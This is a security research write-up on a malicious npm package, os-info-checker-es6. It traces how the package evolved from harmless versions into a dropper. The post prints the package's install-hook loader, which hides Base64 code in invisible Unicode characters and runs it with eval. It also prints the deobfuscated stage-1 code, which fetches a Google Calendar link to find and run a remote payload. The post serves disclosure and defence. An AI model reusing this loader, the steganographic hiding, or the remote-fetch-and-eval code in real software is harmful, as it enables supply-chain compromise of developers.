Sophisticated NPM Attack Leveraging Unicode Steganography and Google Calendar C2

Introduction

Our security monitoring systems recently flagged a suspicious npm package, os-info-checker-es6, which represents a sophisticated and evolving threat within the npm ecosystem. What initially appeared as a simple OS information utility quickly unraveled into a sophisticated multi-stage malware attack. This campaign employs clever Unicode-based steganography to hide its initial malicious code and utilizes a Google Calendar event short link as a dynamic dropper for its final payload.

Background

The package os-info-checker-es6 first appeared on npm on 19 March 2025 followed by four more versions published in quick succession that same day. These first five versions seemed innocuous enough. They primarily involved testing npm’s install hooks, basic file writing operations from these hooks, and gathering standard machine information (like OS platform, release, architecture, and hostname). These early versions showed no signs of data exfiltration or overtly malicious behavior.

For example, in version 1.0.4 the preinstall.js contained just the following:

// scripts/preinstall.js
import fs from 'fs';
console.log('>>>>>>>>>>> Executing preinstall script...');
fs.writeFileSync('run.txt', 'true')
// Здесь вы можете добавить любую логику, которую хотите выполнить перед установкой пакета

This version also contained a straightforward index.js file.

import os from 'os';

export function getOSInfo() {
    const platform = os.platform();
    const release = os.release();
    const arch = os.arch();
    const hostname = os.hostname();

    return {
        platform,
        release,
        arch,
        hostname
    };
}

export function printOSInfo() {
    const info = getOSInfo();
    console.log('Operating System Information:');
    console.log(`Platform: ${info.platform}`);
    console.log(`Release: ${info.release}`);
    console.log(`Architecture: ${info.arch}`);
    console.log(`Hostname: ${info.hostname}`);
}

// Если файл запускается напрямую, выводим информацию
if (import.meta.url === new URL(import.meta.url).href) {
    printOSInfo();
}

We can see this code simply gathers and prints operating system details, which aligns with the package’s purported functionality.

The Shift

After a few days of inactivity, the attacker then published three new versions between 22 and 23 March. These versions introduced platform-specific compiled Node.js modules:

  • package/src/index_darwin.node
  • package/src/index_linux.node
  • package/src/index_win32_ia32.node
  • package/src/index_win32_x64.node

The code in preinstall.js took a marked change as well. For example, in version 1.0.6 we can see the first layer of obfuscation.

// const fs = require('fs');
const os = require('os');
const { decode } = require(`./src/index_${os.platform()}.node`);
const decodedBytes = decode('|󠅉󠄢󠄩󠅥󠅓󠄢󠄩󠅣󠅊󠅃󠄥󠅣󠅒󠄢󠅓󠅟󠄺󠄠󠄾󠅟󠅊󠅇󠄾󠅢󠄺󠅩󠅛󠄧󠄳󠅗󠄭󠄭');
const decodedBuffer = Buffer.from(decodedBytes);
const decodedString = decodedBuffer.toString('utf-8');
eval(atob(decodedString))

At first glance, there doesn’t appear to be any obfuscation techniques in use here, but let’s take a closer look at what the code is doing because it’s quite revealing:

  1. A decode function is dynamically imported from one of the newly added .node binary files, selected based on the target operating system.
  2. This decode function is then used on a string that appears to be single vertical bar '|'.
  3. The result is then converted to a buffer, then to a UTF-8 string, and finally executed via eval(atob(decodedString)).

That last point there should set off some alarm bells. How does a mysterious decode function, processing what appears to be just a single ‘|’, lead to its eventual output being transformed into decodedString which is then valid input for atob(), (JavaScript’s native function to decode Base64-encoded strings)? For this to work, decodedString must inherently be a Base64 string.

Unmasking the Invisible Ink: Unicode Steganography

The real trick here lies in that seemingly innocuous vertical bar. A closer look reveals it’s not just | but | followed by structured data, as this hexdump shows.

The repeating 4-byte pattern suggests that this is a UTF-8 encoded sequence of Unicode code points from the Supplementary Special Purpose Plane, specifically from the Variation Selectors Supplement range (U+E0100 to U+E01EF). The General Category for the code points in this range is Mn, that is, a nonspacing mark, which are typically used as modifiers for preceding characters, often to provide specific glyph variations in complex scripts (like different emoji presentations or ligatures in East Asian languages). However, these variation selectors have no glyph, rendering them effectively invisible, a rather clever steganographic technique.

As an aside, steganography is full of diverse applications, however, most people seem to immediately associate it with hiding data within images. This is a natural assumption given both its historical prominence and the visual intuition that makes image-based techniques easier to conceptualize than this kind of text-based application. After all, Merriam-Webster defines it as “the art or practice of concealing a message, image, or file within another message, image, or file”, which clearly defines what we’re dealing with here. Finding a long string of these invisible selectors appended to a simple ASCII character, with no preceding character they logically modify, is highly anomalous and in this case an indicator of steganography.

So where does this leave us? Well, we know that we have a decode function in an opaque binary doing some work on a series of invisible Unicode characters that returns a Base64-encoded string. How do we figure out what’s going on here? We have a number of options:

  1. We can just run the code, changing the eval to a console.log. This is simple and gives us the “what” but not the “how”.
  2. We can crack open one of the binaries in Ghidra and decompile it.
  3. We can employ a mage whose intuition after mere moments of looking at the raw code points suggests this is a simple (though effective) low byte shift cipher.

Turns out we did all three. And through a combination of points 2 and 3, we’ll look closely at exactly how this works.

After studying this particular Unicode range, you’ll notice that the variation selectors share the common prefix U+E01, which means the first three hex digits are E01. Therefore, to encode meaningful information in these characters, the data must be stored in the low byte of each selector–that’s the xx in U+E01xx. Given that the final output after decode is expected to be a Base64 string (remember the atob call), the low byte of these Unicode characters must somehow map to printable ASCII characters suitable for Base64 encoding. The search space is very small so through a brute-force analysis, applying a small shift to these low bytes, we found that an offset of 0x10 (subtracting 16) and then truncating to a byte reveals the hidden data.

Applying this technique to the “invisible” string in v1.0.6 yields:
"Y29uc29sZS5sb2coJ0NoZWNrJyk7Cg==" which, when Base64 decoded, becomes:

console.log('Check');

Obviously, there is nothing malicious about a simple console log, however, given the evolution of the package and the uniqueness and sophistication of this evasion tactic, it’s highly likely to become malicious soon.

Escalation: The Google Calendar Dropper

We continued to monitor os-info-checker-es6 and on May 7, 2025, a new version (1.0.8) was published. The preinstall.js file appeared identical to the previous ones, still featuring the decode function and the vertical bar with invisible characters. However, the file size had ballooned to 8.5kB, a significant increase.

Applying our Unicode deobfuscation technique to the now much longer string of invisible characters yielded a substantially larger Base64 string. After decoding and further deobfuscation, a far more dangerous payload emerged:

var https = require("https");
var fs = require("fs");
var ljqguhblz = (e, t) => e.match(new RegExp(`${t}${'="([^"]*)"'}`))[1];
var krswqebjtt = async (e, t) => {
  try {
    const o = await fetch(e);
    if (o.ok) {
      if (200 !== o.status) {
        const e = o.headers.get('location');
        return krswqebjtt(e, t);
      }
      t(null, (await o.text()).match(new RegExp(`${'data-base-title'}${'="([^"]*)"'}`))[1]);
    } else {
      t(new Error(""));
    }
  } catch (e) {
    console.log(e);
    t(e);
  }
};
var ymmogvj = async (e, t) => {
  try {
    const o = await fetch(e);
    if (o.ok) {
      const e = await o.text();
      const a = o.headers;
      t(null, {
        acxvacofz: e,
        yxajxgiht: a.get('ivbase64'),
        secretKey: a.get('secretkey')
      });
    } else {
      t(new Error(""));
    }
  } catch (e) {
    t(e);
  }
};
var mygofvzqxk = async () => {
  await krswqebjtt('hxxps://calendar.app.google/t56nfUUcugH9ZUkx9', async (cjnilxo, link) => {
    if (cjnilxo) {
      console.log("cjnilxo");
      await new Promise(e => setTimeout(e, 1e3));
      mygofvzqxk();
    } else {
      await ymmogvj(atob(link), async (cjnilxo, {
        acxvacofz: acxvacofz,
        yxajxgiht: yxajxgiht,
        secretKey: secretKey
      }) => {
        if (cjnilxo) {
          console.log("cjnilxo");
          await new Promise(e => setTimeout(e, 1e3));
          mygofvzqxk();
        } else {
          if (20 == acxvacofz.length) {
            return void eval(atob(acxvacofz));
          }
          eval(atob(acxvacofz));
        }
      });
    }
  });
};
var gsmli = process.env.TEMP + "\\\\pqlatt";
if (fs.existsSync(gsmli)) {
  process.exit(1);
}
fs.writeFileSync(gsmli, "");
process.on("exit", () => {
  fs.unlinkSync(gsmli);
});
mygofvzqxk();
var yyzymzi = 0;
process.on("uncaughtException", async e => {
  console.log(e);
  fs.writeFileSync("_logs_cjnilxo_uncaughtException.txt", e);
  if (++yyzymzi > 10) {
    process.exit(0);
  }
  await new Promise(e => setTimeout(e, 1e3));
  mygofvzqxk();
});

There’s a lot going on here so let’s step through it as it reveals a sophisticated C2 mechanism:

  1. It starts by fetching a Google Calendar short link: https://calendar[.]app[.]google/t56nfUUcugH9ZUkx9.
  2. The krswqebjtt function is designed to follow any redirects from this short link until it receives an HTTP 200 OK response.
  3. From the final HTML page of the Google Calendar event, it scrapes the content of an attribute named data-base-title. This means the attacker likely created a Google Calendar event and embedded a Base64-encoded URL as the value for this attribute within the event’s description or title.
  4. This extracted data-base-title (which is a Base64-encoded URL) is then decoded.
  5. The ymmogvj function fetches this decoded URL. This request expects the actual stage-2 malware payload (also Base64-encoded) in the response body, and potentially an IV (initialization vector) and secret key in the HTTP headers (ivbase64, secretkey), suggesting possible encryption of the final payload, although not fully utilized in the observed code.
  6. The fetched payload is then Base64-decoded and executed via eval().
  7. The script includes retry logic for network errors and uncaught exceptions, along with a simple persistence mechanism using a lock file (pqlatt) in the system’s temporary directory to prevent multiple instances from running.

At the time of analysis, the Google Calendar link ultimately redirected to a page whose data-base-title attribute contained the Base64 encoded string for http://140[.]82[.]54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D. When we attempted to fetch this final C2 URL, it responded with process.exit(0) (Base64-encoded). This could mean the C2 server is currently dormant, the campaign has concluded, or our analysis machine failed some anti-VM/anti-analysis check implemented by the C2 server.

This use of a legitimate, widely trusted service like Google Calendar as an intermediary to host the next C2 link is a clever tactic to evade detection and make blocking the initial stages of the attack more difficult. It’s worth noting at this point that this approach, while not a direct implementation of a specific known tool, bears a resemblance to tactics seen in a proof-of-concept called GCR (Google Calendar Rat). The GCR POC demonstrates using Google Calendar events, often the description field, to pass commands to a compromised host or exfiltrate data, effectively weaponizing Google’s infrastructure for covert C2 communications. In the case of os-info-checker-es6, the attackers have adapted a similar principle but instead of using Calendar for ongoing C2, they’re simply leveraging it as a highly resilient and evasive dropper, creating a difficult-to-block intermediary step.

Impact and Attacker Connections

As of writing, npm is reporting that the os-info-checker-es6 package currently has approximately 655 downloads per week. More concerningly, it is listed as a dependency for four other npm packages:

  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

The npm user kim9123, who published os-info-checker-es6, also published skip-tot. The packages vue-dev-serverr, vue-dummyy, and vue-bit were all published by separate users whose name is the same name as the package published. This strongly suggests that these dependent packages are likely part of the same malicious campaign, either as distribution vectors or as components of a larger malicious toolkit. It’s interesting to note that all of these dependents were published over a month ago, prior to any malware being present in os-info-checker-es6 and have sat dormant since.

Conclusion

The os-info-checker-es6 package represents a sophisticated and evolving threat within the npm ecosystem. The attacker demonstrated a progression from apparent testing to deploying a multi-stage malware that employs:

  • Platform-specific compiled binaries.
  • A clever Unicode steganography technique to hide initial loader code.
  • A novel C2 mechanism leveraging Google Calendar short links to dynamically fetch further instructions, making the true C2 endpoint harder to track and block.
  • Robust error handling, retry capabilities, and persistence mechanisms.

This attack chain highlights the creativity and increasing sophistication of threat actors targeting the software supply chain. Developers must remain vigilant, scrutinizing dependencies, especially those with install scripts or native compiled modules.

Before publication, we submitted os-info-checker-es6 to the npm security team. We will continue to monitor this threat actor and related packages for any further developments.